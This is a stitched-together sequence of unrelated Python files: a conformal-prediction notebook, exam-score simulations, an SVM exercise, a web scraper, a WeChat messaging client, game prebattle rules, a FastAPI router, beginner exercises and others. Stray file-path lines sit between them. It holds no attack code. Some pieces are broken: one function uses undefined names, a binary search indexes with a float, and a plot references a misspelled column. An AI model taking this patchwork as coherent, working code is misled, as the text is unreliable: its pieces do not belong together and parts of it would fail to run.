# %%

import sys
sys.path.append('/Users/williamlopez/Documents/Maastricht University/Internship paper/William/Slobs/new/Python')

import os
import six
import numpy as np
import pandas as pd
import seaborn as sns
import time
import matplotlib.pyplot as plt
from sklearn import tree
import joblib
from imblearn.over_sampling import SMOTE
import lime
import lime.lime_tabular
from sklearn.calibration import calibration_curve, CalibratedClassifierCV
from sklearn import ensemble
import tqdm
from nonconformist.cp import TcpClassifier
from nonconformist.nc import NcFactory
from nonconformist.cp import IcpClassifier
from sklearn.ensemble import RandomForestClassifier
from nonconformist.evaluation import cross_val_score
from nonconformist.evaluation import ClassIcpCvHelper, RegIcpCvHelper
from nonconformist.evaluation import class_avg_c, class_mean_errors, class_one_err, class_one_c, class_empty, class_two_c
from nonconformist.evaluation import reg_mean_errors, reg_median_size

from nonconformist.base import ClassifierAdapter, RegressorAdapter
from nonconformist.icp import IcpClassifier, IcpRegressor
from nonconformist.nc import MarginErrFunc
from nonconformist.nc import ClassifierNc, RegressorNc, RegressorNormalizer
from nonconformist.nc import AbsErrorErrFunc, SignErrorErrFunc

from nonconformist.base import OobClassifierAdapter, OobRegressorAdapter
from nonconformist.icp import OobCpClassifier, OobCpRegressor

from Utilities import Preprocessing as preprocessing
# %%
#* Loaing and formatting data
path = os.getcwd()

path =  '/Users/williamlopez/Documents/Maastricht University/Internship paper/William/Slobs/new'
test = pd.read_csv(path + '/data/slobs_2019_06_test_all.csv')
cvtrain = pd.read_csv(path + '/data/slobs_2019_05_cvtrain_all.csv')
train = pd.read_csv(path + '/data/slobs_2019_04_train.csv')
val = pd.read_csv(path + '/data/slobs_2019_05_val.csv')

prepro = preprocessing()

x_train, x_val, x_test, y_train, y_val, y_test, x_cvtrain, y_cvtrain, x_train_unbalanced, y_train_unbalanced, x_cvtrain_unbalanced, y_cvtrain_unbalanced, og_features, og_features_train, catcolumns, numcolumns = prepro.Get_sets(train, val, test, cvtrain)

# %%
#*loading feature sets from the feature selection results

x_cvtrain, x_cvtrain_unbalanced, x_train, x_train_unbalanced, x_val, x_test = prepro.FeatureSelection(og_features, og_features_train, x_cvtrain, x_cvtrain_unbalanced, x_train, x_train_unbalanced, x_val, x_test)

# %%
model = RandomForestClassifier(n_estimators = 300, n_jobs =-1)

# %%
nc = NcFactory.create_nc(model)	# Create a default nonconformity function
icp = IcpClassifier(nc)			# Create an inductive conformal classifier

x_train_np = x_cvtrain_unbalanced.to_numpy(copy = True)
x_val_np = x_val.to_numpy(copy = True)
x_test_np = x_test.to_numpy(copy = True)

y_train_np = y_cvtrain_unbalanced.to_numpy(copy = True)
y_val_np = y_val.to_numpy(copy = True)
y_test_np = y_test.to_numpy(copy = True)

# %%
print('fitting inductive conformal predictor')
# Fit the ICP using the proper training set
icp.fit(x_train_np, y_train_np)
print('calibrating inductive conformal prediction')
# Calibrate the ICP using the calibration set
icp.calibrate(x_val_np, y_val_np)
print('predicting inductive conformal prediction')
# Produce predictions for the test set, with confidence 95%
prediction = icp.predict(x_test_np, significance=0.05)
prediction_conf_cred = pd.DataFrame(icp.predict_conf(x_test_np),
                                    columns=['Label', 'Confidence', 'Credibility'])
# %%
#Cross validation of the conformal predictor

#icp = IcpClassifier(ClassifierNc(ClassifierAdapter(model),MarginErrFunc()))

icp = OobCpClassifier(ClassifierNc(OobClassifierAdapter(RandomForestClassifier(n_estimators=300, oob_score=True))))

significance = np.arange(0,1,0.025)
significance[0] = 0.01
icp_cv = ClassIcpCvHelper(icp)

scores = cross_val_score(icp_cv,
                         x_train_np,
                         y_train_np,
                         iterations=1,
                         folds=5,
                         scoring_funcs=[class_mean_errors, class_one_err, class_avg_c, class_one_c, class_empty, class_two_c],
                         significance_levels=significance,
                         verbose = True)

print('Classification: SLOBS')
scores = scores.drop(['fold', 'iter'], axis=1)

scores2 = scores.groupby(['significance']).mean()
print(scores2)

#%%

scores2 = scores2.reset_index()

# %%
#cross validated cp

icp = OobCpClassifier(ClassifierNc(OobClassifierAdapter(RandomForestClassifier(n_estimators=100, oob_score=True))))

x_train_np = x_train.to_numpy(copy = True)
x_val_np = x_val.to_numpy(copy = True)
x_test_np = x_test.to_numpy(copy = True)

y_train_np = y_train.to_numpy(copy = True)
y_val_np = y_val.to_numpy(copy = True)
y_test_np = y_test.to_numpy(copy = True)

print('fitting inductive conformal predictor')
# Fit the ICP using the proper training set
icp.fit(x_train_np, y_train_np)

print('predicting inductive conformal prediction')
# Produce predictions for the test set, with confidence 95%
prediction = icp.predict(x_test_np, significance=0.05)

# %%
scores3 = scores2.copy(deep = True)
scores3.reset_index(inplace = True)
# %%

#standard icp
icp = IcpClassifier(ClassifierNc(ClassifierAdapter(model)))
icp.fit(x_train_np, y_train_np)
icp.calibrate(x_val_np, y_val_np)
predictions_knncv_icp = icp.predict(x_test_np, significance = None)

predictions_knncv_icp_df = pd.DataFrame(data = predictions_knncv_icp, columns = ['0','1'])

predictions_knncv_icp_df['target'] = y_test_np
scoring_funcs = [class_mean_errors, class_one_err, class_avg_c, class_one_c, class_empty, class_two_c]

j=0
predictions_knncv_icp =  predictions_knncv_icp_df.to_numpy(copy = True)

columns = ['fold','significance',] + [f.__name__ for f in scoring_funcs]
df2 = pd.DataFrame()

for k, s in enumerate(significance):

    #********Knn****************#
    scores2 = [scoring_func(predictions_knncv_icp[:,:2], predictions_knncv_icp[:,2], s) for scoring_func in scoring_funcs]
    df_score2 = pd.DataFrame([[j, s] + scores2], columns=columns)
    df2 = df2.append(df_score2, ignore_index=True)

df2 = df2.drop(['fold'], axis=1)
resultscv_icp = df2.copy(deep = True)

#%%

plt.title('Error rate of predictions containing only a single output label')

plt.scatter( x = scores2.significance, y = scores2.class_one_err)
plt.plot(scores2.significance, scores2.class_one_err)
plt.xlabel('significance level')
plt.ylabel('Class one errors')
plt.show()
# %%

plt.title('Average number of classes per prediction')
plt.scatter( x = scores2.Significance, y = scores2.class_avg_c)
plt.plot(scores2.significance, scores2.class_avg_c)
plt.xlabel('significance level')
plt.ylabel('Avg N classes')
plt.show()

# %%

plt.title('Rate of prediction sets containing only a single class label')
plt.scatter( x = scores2.significance, y = scores2.class_one_c)
plt.plot(scores2.significance, scores2.class_one_c)
plt.xlabel('significance level')
plt.ylabel('One class rate')
plt.show()

# %%

plt.title('Rate of empty prediction sets ')
plt.scatter( x = scores2.significance, y = scores2.class_empty)
plt.plot(scores2.significance, scores2.class_empty)
plt.xlabel('significance level')
plt.ylabel('Empty sets')
plt.show()

# %%

f, ax = plt.subplots(figsize=(6, 6))
plt.title('Average error rate')
ax.scatter(x = scores2.significance, y = scores2.class_mean_errors)
ax.plot(scores2.significance, scores2.class_mean_errors)
##ax.plot([0, 1], [0, 1],ls="--", transform=ax.transAxes)
lims = [np.min([ax.get_xlim(), ax.get_ylim()]),  # min of both axes
        np.max([ax.get_xlim(),ax.get_ylim()]),  # max of both axes
        ]
ax.plot(lims, lims, ls="--",  alpha=0.75, zorder=0) #ax1.set_aspect('equal')
ax.set_xlim(lims)
ax.set_ylim(lims)
plt.xlabel('Significance level')
plt.ylabel('Average error rate')
plt.show()

#%%
#printing all at the same time

scores2 = resultscv_icp.copy(deep = True)

x1 = scores2['significance']
x2 = scores2['significance']
x3 = scores2['significance']

y1 = scores2['class_two_c']
y2 = scores2['class_one_c']
y3 = scores2['class_empty']

n1 = 'Two class rate'
n2 ='One class rate'
n3 = 'Empty sets'

fig = plt.figure()
ax1 = fig.add_subplot(111)
plt.title('Output set rate ICP')

ax1.scatter(x1, y1, s = 10, marker = "s", label = n1)
ax1.plot(x1, y1)

ax1.scatter(x2, y2, s = 10, marker = "o", label = n2)
ax1.plot(x2, y2)

ax1.scatter(x3, y3, s = 10, marker = "*", label = n3)
ax1.plot(x3, y3)

plt.legend(loc='upper right')
plt.xlabel('significance level')
#plt.ylabel(self.y_ax)
plt.show()

#%%
scores2.to_excel('/Users/williamlopez/Documents/Maastricht University/Internship paper/William/Slobs/new/output/ICPtestscores.xlsx')


import pylab
import random

def sampleQuizzes():
    numTrials = 10000

    range70_75 = [0] * 10000 # list to keep track of each trial

    for trial in range(numTrials): # determine if final grade is within range
        # determine midterm1
        midterm1 = random.randint(50, 80)
        # determine midterm2
        midterm2 = random.randint(60, 90)

        # determine final exam
        finalExam = random.randint(55, 95)

        # compute final grade
        final_grade = 0.25*midterm1 + 0.25*midterm2 + 0.5*finalExam

        if (final_grade >= 70 and final_grade <= 75):
            range70_75[trial] = 1
        else:
            range70_75[trial] = 0

    # calculate probability (proprotion of ones in list)
    probability = 0.0
    totalCounts = 0
    for item in range70_75:
        totalCounts += item

    probability = float(totalCounts) / len(range70_75)
    return probability

def generateScores(numTrials):
    """
    Runs numTrials trials of score-generation for each of
    three exams (Midterm 1, Midterm 2, and Final Exam).
    Generates uniformly distributed scores for each of
    the three exams, then calculates the final score and
    appends it to a list of scores.

    Returns: A list of numTrials scores.
    """

    scoresList = [None] * numTrials
    for trial in range(numTrials):
        # determine midterm1
        midterm1 = random.randint(50, 80)
        # determine midterm2
        midterm2 = random.randint(60, 90)
        # determine final exam
        finalExam = random.randint(55, 95)
        # compute final grade
        final_grade = 0.25*midterm1 + 0.25*midterm2 + 0.5*finalExam
        scoresList[trial] = final_grade

    return scoresList

# plot histogram
def plotQuizzes():
    scoresList = generateScores(10000)
    pylab.hist(scoresList, bins=7)
    pylab.xlabel("Final Score")
    pylab.ylabel("Number of Trials")
    pylab.title("Distribution of Scores")
    pylab.show()

plotQuizzes()


from mypy_boto3_dynamodb import DynamoDBServiceResource

games_table_name = "TEST_GAMES_TABLE"

def create_games_table(dynamodb: DynamoDBServiceResource):
    dynamodb.create_table(
        TableName=games_table_name,
        KeySchema=[
            {"KeyType": "HASH", "AttributeName": "PK"},
            {"KeyType": "RANGE", "AttributeName": "SK"},
        ],
        AttributeDefinitions=[
            {"AttributeName": "PK", "AttributeType": "S"},
            {"AttributeName": "SK", "AttributeType": "S"},
        ],
        BillingMode="PAY_PER_REQUEST",
    )

    return dynamodb.Table(games_table_name)


# coding: utf-8
# 支持向量机
# 《机器学习》（周志华）第六章习题6.2
"""
使用LIBSVM，在西瓜数据集3.0å上分别用线性核与高斯核训练一个svm，并比较其支持向量的差异
"""

import sys
# 加入import系统路径
sys.path.append("./libsvm/python")
import svmutil as svm
from tool import readxls

if __name__ == '__main__':
    # 导入数据
    data = readxls.excel_table_byname("/Users/JJjie/Desktop/www/Mechine_Learning/dataset/西瓜3.0.xlsx", 0, "Sheet1")
    x = []
    y = data[3]
    for i in range(len(y)):
        a = [data[0][i], data[1][i]]
        x.append(a)

    prob = svm.svm_problem(y, x, isKernel=True)
    # 参数详情参见：https://www.csie.ntu.edu.tw/~cjlin/libsvm/
    # 线性核
    param = svm.svm_parameter('-t 0 -c 4')
    m = svm.svm_train(prob, param)
    # 高斯核
    param = svm.svm_parameter('-t 2 -c 4')
    m = svm.svm_train(prob, param)


from DailyBIBLE import *
import requests
from bs4 import BeautifulSoup

def event(self):
    self.pushButton.clicked.connect(self.crolling)

def crolling(self):
        source = requests.get("http://bible.godpia.com/index.asp").text
        soup = BeautifulSoup(source, "html.parser")
        hotKeys = soup.select(".main-tit")
        subKeys = soup.select(".main-sub-tit")
        self.bible.append(hotKeys[0].text)
        self.bible.append("<" + subKeys[0].text + ">")

Ui_MainWindow.event = event
Ui_MainWindow.crolling = crolling

if __name__ == "__main__":
    import sys
    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    ui.event()
    MainWindow.show()
    sys.exit(app.exec_())


import torch.hub
from torch.hub import load_state_dict_from_url
import argparse

parser = argparse.ArgumentParser(description='Download PyTorch pretrained model')

parser.add_argument('-u', '--url', type=str, metavar='URL',
                    help="url for pretrained checkpoint your download")

def main():
    args = parser.parse_args()

    torch.hub._validate_not_a_forked_repo=lambda a,b,c: True
    hub_model_names = torch.hub.list('facebookresearch/WSL-Images')

    state_dict = load_state_dict_from_url(args.url, progress=True)

if __name__ == '__main__':
    main()


from env import ENV
import act_section_parser
from backend.graph_io import lkg_to_json

CASE_ID_TO_FILE = dict()
def compute_mapping():
    with open("{}/doc_path_ttl_id.txt".format(ENV["DATASET_PATH"])) as f:
        for line in f.readlines():
            line = line.strip()

            file_name, title, case_id = line.split("-->")
            CASE_ID_TO_FILE[case_id] = file_name+".txt"

def map_acts_with_cases(j):
    compute_mapping()
    # i = 0

    all_cases = list(CASE_ID_TO_FILE.keys())
    for i, case in enumerate(page_of_cases):
        case_file = CASE_ID_TO_FILE[case]
        print("Running act-case mapper for case {}: {}".format(i+1, case_file))
        acts = act_section_parser.fetch_all_acts_in_a_case(case_file)
        # print(acts)
        for act in acts:
            if act in j_new:
                j_new.add_edge(act, case)

    return(j)


import os

for i in os.listdir("Excel"):
    os.chdir("Excel")
    if(i.endswith(".xlsx")):
        print(i)
        j = i.replace(" ","").replace("_","").lower()
        os.rename(i,j)
        print("Renamed!")
    else:
        print("File not supported: "+i)
        continue
    os.chdir("..")
print("Completed!")


from random import randint
# Step 1. Get the boundaries

min_bound = input("Enter minimum boundary for the random numbers: ")
max_bound = input("Enter maximum boundary for the random numbers: ")
min_bound = int(min_bound)
max_bound = int(max_bound)
# Step 2. Fill the list with random numbers

def fill_list_with_randoms(min_bound,max_bound):
    numbers = []

    for i in range(10):

        random_number = randint(min_bound,max_bound)
        numbers = [random_number] + numbers

    return numbers
# Step 3. Sort the array, for our example we use Bubble Sort

def bubble_sort(numbers):
    assorted = False

    while not assorted:
        assorted = True

        for num in range(len(numbers)-1):
            if numbers[num] > numbers[num+1]:
                tmp = numbers[num]
                numbers[num] = numbers[num+1]
                numbers[num+1] = tmp
                assorted = False
    return numbers

random_list = fill_list_with_randoms(min_bound,max_bound)
print("The list in the beginning : {}".format(random_list))
print("The list sorted: {}".format(bubble_sort(random_list)))


#!/usr/bin/python
# -*- coding: utf-8 -*-
import json
import sys
import requests
import time

class Qywechat(object):

    Touser=sys.argv[1]
    Subject=str(sys.argv[2])
    Content=str(sys.argv[3])

    def __init__(self,agentid,corpid,corpsecret,path):
        self.AGENTID=agentid
        self.CORPID=corpid
        self.CORPSECRET=corpsecret
        self.PATH=path

    def GetTokenFromWechat(self):
        content={'corpid':self.CORPID,
                     'corpsecret':self.CORPSECRET
             }
        gettoken_url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken'
        token_file=requests.post(gettoken_url,params=content)
            #self.PATH=path
        #print token_file
        token_data=json.loads(token_file.text)
        #print type(Token_file),type(token_json)
        #print token_json['errcode']
        if token_data['errcode'] != 0:
               return False
        else:
            Token = token_data['access_token']
            file = open(self.PATH, 'w')
            file.write(str(token_data))
            file.close()
            return Token

    def  SendMSGtoWechat(self,Touser,Subject,Content):
         post_content = {
            "touser":Touser,
            "agentid":self.AGENTID,
            "msgtype":"text",
            "text":{
                    "content":Subject + '\n\n' + Content
              },
            "safe": "0"
            }

         json_content = json.dumps(post_content,ensure_ascii=False)

         try:
                file=open(self.PATH,'r')
                Token=json.load(file)['access_token']
                print ("Access_token cache is %s" % Token)
                file.close()
         except:
                Token = self.GetTokenFromWechat()
         i=0
         wcurl="https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=" + Token
         response = requests.post(wcurl,json_content)
         #result=response.read().decode('utf-8')
         res1=response.json()
         res2=json.dumps(res1)
         print (res2)
         while res1['errcode'] != 0 and i < 1:
            time.sleep(2)
            i+=1
            Token2 = self.GetTokenFromWechat()
            if Token:
                Url = "https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=%s" % Token2
                response = requests.post(Url,json_content)
                result=response.json()
                res3=json.dumps(result)
                return res3


from collections import defaultdict
import weakref
from CurrentVehicle import g_currentVehicle
from constants import PREBATTLE_ACCOUNT_STATE, PREBATTLE_TYPE
from gui.prb_control import getClassLevelLimits, getTotalLevelLimits
from gui.prb_control import getPrebattleRosters, getMaxSizeLimits
from gui.prb_control.restrictions.interfaces import IVehicleLimit, ITeamLimit
from gui.prb_control.settings import PREBATTLE_ROSTER, PREBATTLE_RESTRICTION
from items.vehicles import VehicleDescr, VEHICLE_CLASS_TAGS
from prebattle_shared import isTeamValid, isVehicleValid

class VehicleIsValid(IVehicleLimit):

    def check(self, teamLimits):
        if not g_currentVehicle.isReadyToFight():
            return (False, PREBATTLE_RESTRICTION.VEHICLE_NOT_READY)
        vehicle = g_currentVehicle.item
        shellsList = []
        for shell in vehicle.shells:
            shellsList.extend([shell.intCD, shell.count])

        return isVehicleValid(vehicle.descriptor, shellsList, teamLimits)

class TeamIsValid(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        rosterKey = None
        if team is 1:
            rosterKey = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1
        elif team is 2:
            rosterKey = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2
        if rosterKey in rosters:
            accountsInfo = rosters[rosterKey]
        else:
            accountsInfo = {}
        return isTeamValid(accountsInfo, teamLimits)

class TeamNoPlayersInBattle(ITeamLimit):

    def __init__(self, prbType):
        super(TeamNoPlayersInBattle, self).__init__()
        self.__range = PREBATTLE_ROSTER.getRange(prbType)

    def __isPlayerInBattle(self, player):
        return player['state'] & PREBATTLE_ACCOUNT_STATE.IN_BATTLE != 0

    def check(self, rosters, team, teamLimits):
        for rosterKey in self.__range:
            if rosterKey & team and rosterKey in rosters:
                filtered = filter(self.__isPlayerInBattle, rosters[rosterKey].itervalues())
                if len(filtered):
                    return (False, PREBATTLE_RESTRICTION.HAS_PLAYER_IN_BATTLE)

        return (True, '')

class MaxCount(ITeamLimit):

    def __init__(self, assigned = True):
        super(MaxCount, self).__init__()
        self.__assigned = assigned

    def check(self, rosters, team, teamLimits):
        if self.__assigned:
            index = 0
            if team is 1:
                key = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1
            else:
                key = PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2
        else:
            index = 1
            if team is 1:
                key = PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM1
            else:
                key = PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM2
        maxCount = getMaxSizeLimits(teamLimits)[index]
        if key in rosters and len(rosters[key]) >= maxCount:
            return (False, PREBATTLE_RESTRICTION.LIMIT_MAX_COUNT)
        return (True, '')

class TotalMaxCount(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        maxCount = sum(getMaxSizeLimits(teamLimits))
        result, restriction = True, ''
        if team is 1:
            keys = [PREBATTLE_ROSTER.ASSIGNED_IN_TEAM1, PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM1]
        else:
            keys = [PREBATTLE_ROSTER.ASSIGNED_IN_TEAM2, PREBATTLE_ROSTER.UNASSIGNED_IN_TEAM2]
        playersCount = 0
        for key in keys:
            if key in rosters:
                playersCount += len(rosters[key])

        if playersCount >= maxCount:
            result, restriction = False, PREBATTLE_RESTRICTION.LIMIT_MAX_COUNT
        return (result, restriction)

class VehiclesLevelLimit(ITeamLimit):

    def check(self, rosters, team, teamLimits):
        isValid, notValidReason = True, ''
        assignedRosters = rosters.get(team, {})
        totalLevel, classLevels = self.__calculate(assignedRosters)
        for classTag in VEHICLE_CLASS_TAGS:
            minLevel, maxLevel = getClassLevelLimits(teamLimits, classTag)
            currentLevel = classLevels[classTag]
            vClassTags = PREBATTLE_RESTRICTION.getVehClassTags()
            if not minLevel <= currentLevel <= maxLevel:
                if not currentLevel == 0:
                    isValid = False
                    notValidReason = classTag in vClassTags and vClassTags[classTag]
                else:
                    notValidReason = PREBATTLE_RESTRICTION.LIMIT_CLASSES

        if isValid:
            minLevel, maxLevel = getTotalLevelLimits(teamLimits)
            if not minLevel <= totalLevel <= maxLevel:
                isValid = False
                notValidReason = PREBATTLE_RESTRICTION.LIMIT_TOTAL_LEVEL
        return (isValid, notValidReason)

    def __calculate(self, rosters):
        classLevels = defaultdict(lambda : 0)
        totalLevel = 0
        vehClassTags = set(VEHICLE_CLASS_TAGS)
        for roster in rosters.itervalues():
            if not roster['state'] & PREBATTLE_ACCOUNT_STATE.READY:
                continue
            vehCompDescr = roster.get('vehCompDescr', '')
            if vehCompDescr is not None and len(vehCompDescr):
                vehType = VehicleDescr(compactDescr=vehCompDescr).type
                level = vehType.level
                union = vehClassTags & vehType.tags
                if len(union):
                    vehClass = union.pop()
                    classLevels[vehClass] = max(classLevels[vehClass], level)
                totalLevel += level

        return (totalLevel, classLevels)

class LimitsCollection(object):

    def __init__(self, functional, vehicleLimits, teamLimits):
        self.__functional = weakref.proxy(functional)
        self.__vehicleLimits = vehicleLimits
        self.__teamLimits = teamLimits

    def clear(self):
        self.__functional = None
        self.__vehicleLimits = ()
        self.__teamLimits = ()
        return

    def isVehicleValid(self):
        result, errorCode = True, ''
        settings = self.__functional.getSettings()
        teamLimits = settings.getTeamLimits(self.__functional.getPlayerTeam())
        for limit in self.__vehicleLimits:
            result, errorCode = limit.check(teamLimits)
            if not result:
                break

        return (result, errorCode)

    def isTeamValid(self, team = None):
        result, errorCode = True, ''
        if team is None:
            team = self.__functional.getPlayerTeam()
        settings = self.__functional.getSettings()
        teamLimits = settings.getTeamLimits(team)
        rosters = getPrebattleRosters()
        for limit in self.__teamLimits:
            result, errorCode = limit.check(rosters, team, teamLimits)
            if not result:
                break

        return (result, errorCode)

    def isTeamsValid(self):
        settings = self.__functional.getSettings()
        rosters = getPrebattleRosters()
        for team in [1, 2]:
            teamLimits = settings.getTeamLimits(team)
            for limit in self.__teamLimits:
                result, errorCode = limit.check(rosters, team, teamLimits)
                if not result:
                    return (result, errorCode)

        return (True, '')

    def isMaxCountValid(self, team, assigned):
        settings = self.__functional.getSettings()
        rosters = getPrebattleRosters()
        return MaxCount(assigned=assigned).check(rosters, team, settings.getTeamLimits(team))

class DefaultLimits(LimitsCollection):

    def __init__(self, functional):
        super(DefaultLimits, self).__init__(functional, (VehicleIsValid(),), (TeamIsValid(),))

class TrainingLimits(LimitsCollection):

    def __init__(self, functional):
        super(TrainingLimits, self).__init__(functional, (VehicleIsValid(),), (TeamNoPlayersInBattle(PREBATTLE_TYPE.TRAINING), TeamIsValid()))

class CompanyLimits(LimitsCollection):

    def __init__(self, functional):
        super(CompanyLimits, self).__init__(functional, (VehicleIsValid(),), (VehiclesLevelLimit(), TeamIsValid()))

class BattleSessionLimits(LimitsCollection):

    def __init__(self, functional):
        super(BattleSessionLimits, self).__init__(functional, (VehicleIsValid(),), (VehiclesLevelLimit(), TeamIsValid()))


# -*- coding: utf-8 -*-

from __future__ import unicode_literals, division, absolute_import
import logging
from datetime import timedelta
from accio import celery_app
from redis import Redis

class RedisHandler(logging.Handler):
    def __init__(self, task_name, task_id, level):
        logging.Handler.__init__(self, level=level)
        self.redis_db = Redis.from_url(celery_app.conf['ACCIO_LOGVAULT_URL'])
        self.formatter = logging.Formatter('[%(asctime)s] %(levelname)s %(message)s')
        self.task_name = task_name
        self.task_id = task_id

    def emit(self, record):
        k = 'logs:%s:%s' % (self.task_name, self.task_id)
        self.redis_db.rpush(k, self.format(record))
        self.redis_db.expire(k, timedelta(weeks=1))

def getLogger(task_request):
    logger = logging.getLogger()
    logger.setLevel(logging.DEBUG)
    if hasattr(task_request, 'task'):
        logger.addHandler(RedisHandler(task_request.task, task_request.id, level=logging.INFO))
    return logger


def solution(lottos, win_nums):
    # 알아볼 수 없는 번호를 0으로 표기
    answer = []
    check = [6,6,5,4,3,2,1]

    zeroCnt = lottos.count(0)
    set_lottos = set(lottos)
    set_win = set(win_nums)
    minV = set_lottos & set_win

    if len(minV) == 6:
        return [1,1]

    answer.append(check[len(minV)+zeroCnt])
    answer.append(check[len(minV)])

    return answer

프로그래머스/lv1/77484. 로또의 최고 순위와 최저 순위/로또의 최고 순위와 최저 순위.py

로또의 최고 순위와 최저 순위.py


from typing import List
from schemas.jobs import Job, JobIn, JobOut
from fastapi import APIRouter, Depends, HTTPException, status, Query
from schemas.jobs import BaseJob
from sqlalchemy.ext.asyncio import AsyncSession
from dependency import get_current_user, get_db
from sql_app.crud import Jobs_CRUD
from sql_app.models import Users

router = APIRouter()

@router.post('create', response_model=JobOut)
async def create_job(job:BaseJob, current_user:Users = Depends(get_current_user),
         db:AsyncSession = Depends(get_db)):
    if current_user.is_company:
        new_job = await Jobs_CRUD.create(current_user.id, job, db )
        return new_job
    else:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail='Only companies can post vacancies')

@router.get('get_list', response_model=List[JobOut])
async def get_list_jobs(offset:int = Query(..., ge=0), limit:int = Query(..., ge=0), db: AsyncSession = Depends(get_db)):
    result = await Jobs_CRUD.get_list_of_jobs(offset, limit, db)
    result = result.scalars().all()
    if result:
        return result
    else:
        raise HTTPException(status.HTTP_404_NOT_FOUND, detail='Jobs not found')

@router.get('by_id', response_model=JobOut)
async def get_job_by_id(pk: int = Query(..., ge=0), db: AsyncSession = Depends(get_db)):
    result =  await Jobs_CRUD.get_job_by_id(pk, db)
    result = result.scalars().all()
    if result:
        return result
    else:
        raise HTTPException(status.HTTP_404_NOT_FOUND, detail='Jobs not found')

@router.put('update', response_model=JobOut)
async def update_job(id: int, input_job:BaseJob, current_user = Depends(get_current_user),
         db: AsyncSession = Depends(get_db)):
    '''обновлять  вакансии могут владельцы или суперюзер'''

    job = await Jobs_CRUD.get_job_by_id(id, db)
    if job.user_id == current_user.id: # тут еще будет проверка на суперпользователя
        updated_job = await Jobs_CRUD.update_job(id, input_job, db)
        return updated_job
    else:
        raise HTTPException(status_code = status.HTTP_403_FORBIDDEN, detail="User Without enough privileges" )

@router.delete('delete', response_model=JobOut)
async def delete_job(id: int, current_user = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
    '''удалять  вакансии могут владельцы или суперюзер'''
    job = await Jobs_CRUD.get_job_by_id(id, db)
    if job:
        if job.user_id == current_user.id:
            result = await Jobs_CRUD.delete_job(id, db)
            return result
        else:
            raise HTTPException(status_code = status.HTTP_403_FORBIDDEN, detail="User Without enough privileges" )
    else:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="This job does not exist")


#edad = 15

#if edad >= 18:
    #print("Eres mayor de edad")
#else:
    #print("No eres mayor de edad")

contraseña = ("hola")
confirmar_contraseña = ("hola")

copilacion = contraseña == confirmar_contraseña

if copilacion == True:
    print("Confirmacion exitosa")
else:
    print("confirmacion fallida")


#!/usr/bin/env python
import sys
from datetime import datetime
from math import pi

# Python Assignment 1
# Question 1
print("Twinkle, twinkle, little star,\n\t\
How I wonder what your!\n\t\t\
Up above the world so high,\n\t\t\
Like a diamond in the sky,\n\
Twinkle, twinkle, little star,\n\t\
How I wonder what you are")

# Question 2
print(sys.version)

#Question 3
today = datetime.now()
print(today.strftime("Date = %B %d, %Y\nTime =  %H:%M:%S"))

#Question 4
radius = float(input("enter a radius to compute area of the circle: "))
area = pi*pow(radius,2)
print("Area of a circle for a radius of ",radius," is: ",area)

#Question 5
Fname = input("enter your first name: ")
Lname = input("enter your last name: ")
print(Lname,"",Fname)

#Question 6
num1 = float(input("Enter a first number: "))
num2 = float(input("Enter a second number: "))
print("Addition of ",num1," & ",num2," is ",num1+num2)


# This implements a simple scripting system for locking-unlocking transection
# This implementation uses python list as a script object

class OpCode:

	def __init__(self, code):
		self.code = code

	def __eq__(self, value):
		return self.code == value.code

	def __int__(self):
		return self.code

# A few common instructions
NOP 	= OpCode(0)
PUSH 	= OpCode(1)
POP 	= OpCode(2)
DUP		= OpCode(3)
HASH 	= OpCode(4)
VERIFY 	= OpCode(5)
RET 	= OpCode(6)
ADD		= OpCode(7)

def VerifySignature(pubKey, sig):
	pass

class Engine:

	def __init__(self):
		self.stack = []

	def Exec(self, code):
		self.stack.clear()
		top = None
		for instr in code:
			if type(instr) != OpCode:
				top = instr # Data value
			elif instr == NOP:
				continue
			elif instr == PUSH:
				self.stack.append(top)
			elif instr == POP:
				top = self.stack.pop()
			elif instr == DUP:
				self.stack.append(self.stack[-1])
			elif instr == HASH:
				top = hash(top)
			elif instr == VERIFY:
				top = VerifySignature(top, self.stack.pop())
			elif instr == RET:
				break
			elif instr == ADD:
				top += self.stack.pop()
			else:
				raise Exception("Invalid Instruction")
		return top

if __name__ == '__main__':
	code = ['hello', 		# Load 'hello' on top
			PUSH, 			# Push top in stack
			' ', 			# Load ' ' on top
			PUSH, 			# Push top in stack
			'world', 		# Load 'world' on top
			ADD, 			# Add top with stack's top and store on top
			ADD]			# ..
	result = Engine().Exec(code)
	print(result)


import sys, heapq
input = sys.stdin.readline

v, e = map(int, input().split())
k = int(input())
graph = [{} for _ in range(v+1)]
for _ in range(e):
    a, b, c = map(int, input().split())
    if b not in graph[a] or c < graph[a][b]:
        graph[a][b] = c

dist = [float('inf')]*(v+1)
dist[k] = 0
q = [(0, k)]
while q:
    d, now = heapq.heappop(q)
    if d > dist[now]:
        continue
    for i, w in graph[now].items():
        if d+w < dist[i]:
            dist[i] = d+w
            heapq.heappush(q, (dist[i], i))

print('\n'.join(map(lambda x: str(x).upper(), dist[1:])))


def isIn(char, aStr):
    '''
    char: a single character
    aStr: an alphabetized string

    returns: True if char is in aStr; False otherwise
    '''
    # Your code here
    if aStr == '':
        return False
    mid = len(aStr) / 2
    if aStr[mid] == char:
        return True
    elif char < aStr[mid]:
        return isIn(char, aStr[:mid])
    else:
        return isIn(char, aStr[mid + 1 :])

if __name__ == "__main__":
    assert isIn('a', 'abcdefghijklmn') == True
    assert isIn('o', 'abcdefghijklmn') == False
    assert isIn('k', 'abcdefghijklmn') == True
    assert isIn('n', 'abcdefghijklmn') == True


import requests
from bs4 import BeautifulSoup
import re
import time
import random
import json
from urllib.parse import urlparse, urlencode, parse_qs, urlunparse
from reportlab.lib.pagesizes import letter
from reportlab.lib import colors
